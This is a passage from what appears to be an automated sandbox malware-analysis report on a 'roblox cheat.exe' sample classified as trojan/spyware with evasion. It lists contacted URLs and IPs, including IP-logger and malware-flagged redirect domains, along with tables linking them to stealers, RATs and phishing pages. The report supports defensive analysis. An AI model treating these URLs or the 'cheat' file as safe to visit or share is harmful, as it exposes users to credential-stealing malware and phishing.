https://client-telemetry.roblox.come	robloxPX1instaler.exe, 00000002.00000003.1446077514.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446318793.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449216456.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwww.certigna.fr/autorites/	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454321758.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/client-version/WindowsStudio64x	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448751210.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447771638.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454301246.0000000003F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.iplogger.org/redirect/brand.png	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/cert	roblox cheat.exe, robloxPX1instaler.exe.0.dr, cacert.pem.2.dr	false	Avira URL Cloud: safe	unknown
http://www.quovadisglobal.com/cps	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper.	robloxPX1instaler_DD2F4.log.2.dr	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/STCA.crl	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447120080.0000000001C35000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es/legislacion_c.htm	robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerons	robloxPX1instaler.exe, 00000002.00000003.1446077514.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446318793.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449216456.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448775676.0000000001C1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/client-version/WindowsStudio64	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448751210.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447771638.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454301246.0000000003F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/rules/	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
http://bit.ly/1eMQ42U	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://crl.certigna.fr/certignarootca.crl01	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003F92000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448098395.0000000003F85000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.cert.fnmt.es/dpcs/	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447951731.0000000003F87000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454321758.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	URL Reputation: safe	unknown
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerpany	robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003FAB000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454406604.0000000003FAB000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446944435.0000000003FA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s3.amazonaws.com/	robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.accv.es00	robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://2no.co/	chromecache_64.20.dr	false	Avira URL Cloud: malware	unknown
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper.h	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecsv2.roblox.com/client/pbe	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://2no.co/redirect-2	chromecache_64.20.dr	false	Avira URL Cloud: malware	unknown
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapperate	robloxPX1instaler.exe, 00000002.00000003.1326917896.0000000004004000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.212.201.198	counter.yadro.ru	Russian Federation	39134	UNITEDNETRU	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
18.239.18.53	d2v57ias1m20gl.cloudfront.net	United States	16509	AMAZON-02US	false
128.116.21.3	edge-term4-ams2.roblox.com	United States	22697	ROBLOX-PRODUCTIONUS	false
172.67.132.113	cdn.iplogger.org	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
88.212.201.204	unknown	Russian Federation	39134	UNITEDNETRU	false
172.67.149.76	2no.co	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1484380
Start date and time:	2024-07-30 00:45:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	roblox cheat.exe
Detection:	MAL
Classification:	mal90.troj.spyw.evad.winEXE@26/17@22/12
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 108.177.15.84, 172.217.16.206, 34.104.35.123, 93.184.221.240, 142.250.185.131, 142.250.186.110
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target roblox cheat.exe, PID 4840 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: roblox cheat.exe

Simulations

Behavior and APIs

Time	Type	Description
18:46:12	API Interceptor	3x Sleep call for process: robloxPX1instaler.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.132.113	FEB32B614BC7F38CC0B553B5FEE80B7E68AD8AE78DF1F1CAE4016A5AA1C4677A.exe	Get hash	malicious	Bdaejec	Browse
	65BD7E49FE292748F0C504DCBEFDB0AD86E69C8349D7253D0E95EBF1BF0110B0.exe	Get hash	malicious	Bdaejec, Socelars	Browse
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse
	4C49F078D9E8409D98D83AEBA2C037339680B2ABF7471B599E736A7AD99FB08D.exe	Get hash	malicious	Bdaejec, Socelars	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse
	SecuriteInfo.com.Trojan.Siggen28.55231.10056.8041.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, SystemBC, Vidar, zgRAT	Browse
	SecuriteInfo.com.Win64.DropperX-gen.20168.7257.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar, zgRAT	Browse
88.212.201.198	http://www.puusektori.fi	Get hash	malicious	GRQ Scam	Browse	counter.yadro.ru/hit;fims2?t38.6;r;s1280102424;uhttp%3A//www.puusektori.fi/;hkuinka%20monta%20opintoviikkoa%20on%20ammatillisen%20perustutkinnon%20laajuus;0.6661644312023942
88.212.201.198	njw.exe	Get hash	malicious	Unknown	Browse	counter.yadro.ru/hit;counter1?r;s1280102432;uhttp%3A//www.all-bearings.narod.ru/secondpage.html;0.5443641556055339
239.255.255.250	https://kapitan.co.ke/ch/f/signin.php	Get hash	malicious	Unknown	Browse
	http://2323.pages.dev/	Get hash	malicious	Unknown	Browse
	https://nadiperformance-f5135f.ingress-earth.ewp.live/wp-content/plugins/kredittikay%C4%B1l/pages/region.php	Get hash	malicious	Unknown	Browse
	http://www.kjecom.com/serviciodecorreo/login/	Get hash	malicious	Unknown	Browse
	http://pub-1dce8f5133cd41708dc3ec7e6864bb58.r2.dev/index.html	Get hash	malicious	Unknown	Browse
	http://s.id/helpcenter84619	Get hash	malicious	HTMLPhisher	Browse
	http://matmcst.gitbook.io/us	Get hash	malicious	Unknown	Browse
	http://pub-91cd24230d1a47f198e6036ff20062e7.r2.dev/index.html	Get hash	malicious	Unknown	Browse
	http://pub-150673a82d0042c3be06302794553f66.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse
	http://connectinmate.org/@@@/cancelss/index.php	Get hash	malicious	HTMLPhisher	Browse
18.239.18.53	http://hwylovermk.shop/product_details/5509027.html	Get hash	malicious	Unknown	Browse
	https://na3.docusign.net/Signing/EmailStart.aspx?a=d12aabf1-0919-4f4f-92ab-0ff30b7ce84c&acct=88aa9bf9-9255-4306-b6d1-c7e74d5a654b&er=23711531-a6e1-4fe3-b437-430c24a72d79	Get hash	malicious	Unknown	Browse
	https://ctfoodshare.org	Get hash	malicious	HTMLPhisher	Browse
	http://site.foodshare.org/site/DocServer	Get hash	malicious	HTMLPhisher	Browse
	https://abdelhamied.com/?gclid=	Get hash	malicious	Unknown	Browse
	https://slack.com/help/articles/29414264463635	Get hash	malicious	Unknown	Browse
	Authorization code - SO10552124.PDF	Get hash	malicious	Unknown	Browse
	https://ipfs.io/ipfs/bafybeighp4krlvehs33pimsa3ka7aimkt3miqblm5arwkobl432i3aysgq/WeTransfer%20domain.html/	Get hash	malicious	HTMLPhisher	Browse
	https://sg.bill.com/ls/click?upn=u001.se4SimOEkqgQ32qtQ-2B6PfDaaAn3xJe8O-2FErO3-2BCky2vLtBZLvhZq86oGuxZTOnrx6gh9ygU3gb9JKUvQraPRMDLNEWU-2FboCgv6JKGVFF5ZmAFFVNTpwNhFrszPCuHOoXmd42mE-2FxQa911yauJubc0OblF9Qqd1ecaCJwDHrE-2FrsX0zfywuzzXI1MI7dyAyVRLkRFwv0ptobKWnVn6FzPxmVMCOJCx1aQ7QNkyBRq2RI-3DgVTV_by1gJSnDV04YrJyEyhOyU-2FrdL1lFArauDhnpw8uvCUHkLpxtBILt4lN05W-2FmPZY32jADYnq176HkYVt-2F1RoBLpDlPoT0lRAm0MYPQVkoSfIdGfKU95F0t6NJsgdilfeFT3o89S2N-2FIM0BQj3x8vTARx8dc8H2J7stSjHnMjcnKidaQFJIPSuI7fLy7yE38DTqcpMpEPOoHVa6p64rK4Afi-2FaNdSDAsJMxpRagPF5z9UKp-2Bl8HyCtDqt9rV-2FwJGyu0BB14b7gdKlLa7tN5EgJqkmfK04Aup0S-2FdpQY-2F0mHzVTBVMlSZnCPiN-2Ffp66aL5BJO46yoA7Nav-2F4dPPMV0nQLQpR30V7hyVRX7zwav3FuWi-2F3bmfX8HQ8pMcFmWqOosM1CJ4lnQ68glhbMc7tWNJo0F87zLAEHCo0U-2Bcl5KNzwX-2BWXFezmlkgMAhRAUpith	Get hash	malicious	Unknown	Browse
	https://in.xero.com/LPhAf4Uu8GqGOPHDnymb0iopYL0hBHD11XrSzhaz	Get hash	malicious	Unknown	Browse
128.116.21.3	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.iplogger.org	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse	172.67.132.113
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse	104.21.4.208
	rpeticao_inicial.vbs	Get hash	malicious	Unknown	Browse	172.67.132.113
	DN0yi6SRZL.exe	Get hash	malicious	Unknown	Browse	148.251.234.83
	https://maper.info	Get hash	malicious	Unknown	Browse	148.251.234.83
	p68hEdbp8M.exe	Get hash	malicious	Gurcu Stealer, RedLine, Vidar	Browse	148.251.234.83
	6wXMsDIz1A.exe	Get hash	malicious	Gurcu Stealer, RedLine	Browse	148.251.234.83
	SJv6Gz8cGp.exe	Get hash	malicious	RedLine, Typhon Logger	Browse	148.251.234.83
	12D3EC70F3A079AE0216EE7B56722E2369EB664DE0036.exe	Get hash	malicious	Azorult, RedLine	Browse	148.251.234.83
	12D3EC70F3A079AE0216EE7B56722E2369EB664DE0036.exe	Get hash	malicious	Azorult, RedLine	Browse	148.251.234.83
edge-term4-ams2.roblox.com	RdJ73GU3N1.exe	Get hash	malicious	Njrat	Browse	128.116.21.4
	SecuriteInfo.com.Win32.BackdoorX-gen.25355.5373.exe	Get hash	malicious	Unknown	Browse	128.116.21.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.21.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.21.3
counter.yadro.ru	LisectAVT_2403002A_312.exe	Get hash	malicious	HTMLPhisher	Browse	88.212.201.204
	LisectAVT_2403002A_312.exe	Get hash	malicious	HTMLPhisher	Browse	88.212.201.204
	http://ads.livetv799.me	Get hash	malicious	Unknown	Browse	88.212.202.52
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse	88.212.201.204
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse	88.212.202.52
	file.exe	Get hash	malicious	XenoRAT	Browse	88.212.202.52
	http://singlelogin.rs	Get hash	malicious	Unknown	Browse	88.212.201.198
	https://onpagvus.store	Get hash	malicious	HTMLPhisher	Browse	88.212.201.198
	http://cb00287.tw1.ru/	Get hash	malicious	Unknown	Browse	88.212.201.198
	https://disk.yandex.ru/d/ArN8zL4WbJeexQ	Get hash	malicious	Panda Stealer	Browse	88.212.201.198
2no.co	C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe	Get hash	malicious	Bdaejec, BitCoin Miner, Xmrig	Browse	104.21.79.229
	lSmb6nDsrC.exe	Get hash	malicious	SmokeLoader	Browse	104.21.79.229
	setup.exe	Get hash	malicious	Unknown	Browse	104.21.79.229
	setup.exe	Get hash	malicious	Unknown	Browse	104.21.79.229
	file.exe	Get hash	malicious	XenoRAT	Browse	172.67.149.76
	Og1SeeXcB2.exe	Get hash	malicious	Remcos, Blank Grabber, PrivateLoader, SmokeLoader	Browse	104.21.79.229
	file.exe	Get hash	malicious	SmokeLoader	Browse	104.21.79.229
	rpeticao_inicial.vbs	Get hash	malicious	Unknown	Browse	172.67.149.76
	setup.hta	Get hash	malicious	RHADAMANTHYS	Browse	104.21.79.229
	setup.lnk	Get hash	malicious	RHADAMANTHYS	Browse	104.21.79.229

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNITEDNETRU	Universal Radio Programmer.pdf	Get hash	malicious	Unknown	Browse	88.212.201.204
	LisectAVT_2403002A_312.exe	Get hash	malicious	HTMLPhisher	Browse	88.212.201.204
	LisectAVT_2403002A_312.exe	Get hash	malicious	HTMLPhisher	Browse	88.212.201.204
	http://ads.livetv799.me	Get hash	malicious	Unknown	Browse	88.212.202.52
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse	88.212.201.204
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse	88.212.201.204
	file.exe	Get hash	malicious	XenoRAT	Browse	88.212.202.52
	http://singlelogin.rs	Get hash	malicious	Unknown	Browse	88.212.202.52
	https://onpagvus.store	Get hash	malicious	HTMLPhisher	Browse	88.212.201.204
	https://disk.yandex.ru/d/ArN8zL4WbJeexQ	Get hash	malicious	Panda Stealer	Browse	88.212.201.204
AMAZON-02US	https://kapitan.co.ke/ch/f/signin.php	Get hash	malicious	Unknown	Browse	18.193.237.78
	http://pub-1dce8f5133cd41708dc3ec7e6864bb58.r2.dev/index.html	Get hash	malicious	Unknown	Browse	52.58.254.253
	http://pub-91cd24230d1a47f198e6036ff20062e7.r2.dev/index.html	Get hash	malicious	Unknown	Browse	35.156.224.161
	http://pub-5ef76d7c843349bb9d3d1a0a081c814c.r2.dev/bea40.html	Get hash	malicious	Unknown	Browse	3.70.101.28
	https://logn-sso-ttrezor.webflow.io/	Get hash	malicious	Unknown	Browse	108.156.61.158
	http://pub-1319180bb90248deb7023e5f86025f65.r2.dev/zane.html	Get hash	malicious	Unknown	Browse	3.70.101.28
	http://stonemanwell147.wixsite.com/myd0cz	Get hash	malicious	Unknown	Browse	108.156.60.6
	https://orr.swq.mybluehost.me/ch/f6014/	Get hash	malicious	Unknown	Browse	52.213.34.131
	https://orr.swq.mybluehost.me/ch/	Get hash	malicious	Unknown	Browse	3.71.149.231
	https://fpsadv.com/n1/NedbankMoney.htm	Get hash	malicious	Unknown	Browse	18.245.60.69
ROBLOX-PRODUCTIONUS	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.123.3
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.123.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.123.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.127.3
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.119.4
	RdJ73GU3N1.exe	Get hash	malicious	Njrat	Browse	128.116.21.4
	SecuriteInfo.com.Win32.BackdoorX-gen.25355.5373.exe	Get hash	malicious	Unknown	Browse	128.116.21.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.21.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.21.3
	SolaraBootstrapper.exe	Get hash	malicious	DCRat, XWorm	Browse	128.116.123.3
CLOUDFLARENETUS	http://2323.pages.dev/	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://pub-1dce8f5133cd41708dc3ec7e6864bb58.r2.dev/index.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://s.id/helpcenter84619	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://matmcst.gitbook.io/us	Get hash	malicious	Unknown	Browse	172.64.147.209
	http://pub-91cd24230d1a47f198e6036ff20062e7.r2.dev/index.html	Get hash	malicious	Unknown	Browse	104.18.3.35
	http://pub-150673a82d0042c3be06302794553f66.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://connectinmate.org/@@@/cancelss/index.php	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://mentmiasklogione.gitbook.io/us	Get hash	malicious	Unknown	Browse	172.64.147.209
	file.exe	Get hash	malicious	LummaC, DanaBot, Go Injector, LummaC Stealer, SmokeLoader	Browse	188.114.97.3
	http://pub-5ef76d7c843349bb9d3d1a0a081c814c.r2.dev/bea40.html	Get hash	malicious	Unknown	Browse	104.18.2.35

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://kapitan.co.ke/ch/f/signin.php	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://2323.pages.dev/	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	https://nadiperformance-f5135f.ingress-earth.ewp.live/wp-content/plugins/kredittikay%C4%B1l/pages/region.php	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://www.kjecom.com/serviciodecorreo/login/	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://pub-1dce8f5133cd41708dc3ec7e6864bb58.r2.dev/index.html	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://s.id/helpcenter84619	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	http://matmcst.gitbook.io/us	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://pub-91cd24230d1a47f198e6036ff20062e7.r2.dev/index.html	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://pub-150673a82d0042c3be06302794553f66.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	http://connectinmate.org/@@@/cancelss/index.php	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27

Process:	C:\Users\user\Desktop\roblox cheat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
